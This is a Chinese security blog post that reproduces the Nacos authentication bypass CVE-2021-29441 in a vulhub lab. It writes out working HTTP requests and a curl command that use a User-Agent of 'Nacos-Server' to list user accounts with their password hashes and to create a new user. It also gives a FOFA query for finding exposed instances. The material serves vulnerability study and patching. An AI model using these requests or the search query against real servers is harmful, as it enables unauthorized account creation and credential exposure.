nacos未授权-CVE-2021-29441复现

admin 2022年7月20日14:19:16评论364 views字数 2934阅读9分46秒阅读模式
✎ 阅读须知


乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!


更新时间:2022.06.21

说明

参考文档:https://github.com/vulhub/vulhub/blob/master/nacos/CVE-2021-29441/README.zh-cn.md

1. 漏洞介绍

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

影响版本: Nacos <= 2.0.0-ALPHA.1

2. 漏洞复现

2.1 环境搭建

本次使用vulhub复现:
docker-compose up -d --build

nacos未授权-CVE-2021-29441复现

查看下当前的docker id:

nacos未授权-CVE-2021-29441复现
环境运行后,会开放3306、8848、9848、9555端口,在本次漏洞利用中,我们只需要用到8848端口,即web访问端口。执行漏洞验证过程时,请先访问8848端口,确认开放,某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务

docker-compose restart nacos

nacos未授权-CVE-2021-29441复现

在这里访问下:http://127.0.0.1:8848/nacos/#/login

nacos未授权-CVE-2021-29441复现

2.2 漏洞检测

访问页面

http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2

在访问的时候,将User-Agent的值修改为Nacos-Server,发到repeater模块,看下返回包:

GET /nacos/v1/auth/users?pageNo=1&pageSize=2 HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
nacos未授权-CVE-2021-29441复现

此时看到返回的响应为200,并且包含了当前的用户名nacos,密码为加盐加密之后的值。

HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Tue, 21 Jun 2022 10:44:10 GMT
Connection: close
Content-Length: 159

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}
nacos未授权-CVE-2021-29441复现

2.3 添加新用户

在下面的链接中添加一个新用户:crow,注意使用POST方法,并且需要将User-Agent依旧设置为Nacos-Server

http://127.0.0.1:8848/nacos/v1/auth/users?username=crow&password=crow
POST /nacos/v1/auth/users HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=crow&password=crow
nacos未授权-CVE-2021-29441复现

此时再去访问以下链接看用户是否添加成功,需要将User-Agent依旧设置为Nacos-Server

http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2
nacos未授权-CVE-2021-29441复现

此时用户添加成功,使用新建的账号登录:

nacos未授权-CVE-2021-29441复现

当然,任意用户注册也可以使用curl来添加,效果是一样的。

curl -XPOST 'http://127.0.0.1/nacos/v1/auth/users?username=crow&password=crow' -H 'User-Agent: Nacos-Server'

3. fofa关键字

fofa关键字:title="nacos"

4. 漏洞修复

本地漏洞修复之后及时关闭环境:

nacos未授权-CVE-2021-29441复现

修复策略就是升级Nacos版本到最新版本。


tips:加我wx,拉你入群,一起学习


nacos未授权-CVE-2021-29441复现


nacos未授权-CVE-2021-29441复现

nacos未授权-CVE-2021-29441复现
nacos未授权-CVE-2021-29441复现

扫取二维码获取

更多精彩

乌鸦安全

nacos未授权-CVE-2021-29441复现

原文始发于微信公众号(乌鸦安全):nacos未授权-CVE-2021-29441复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月20日14:19:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nacos未授权-CVE-2021-29441复现http://cn-sec.com/archives/1185000.html

发表评论

匿名网友 填写信息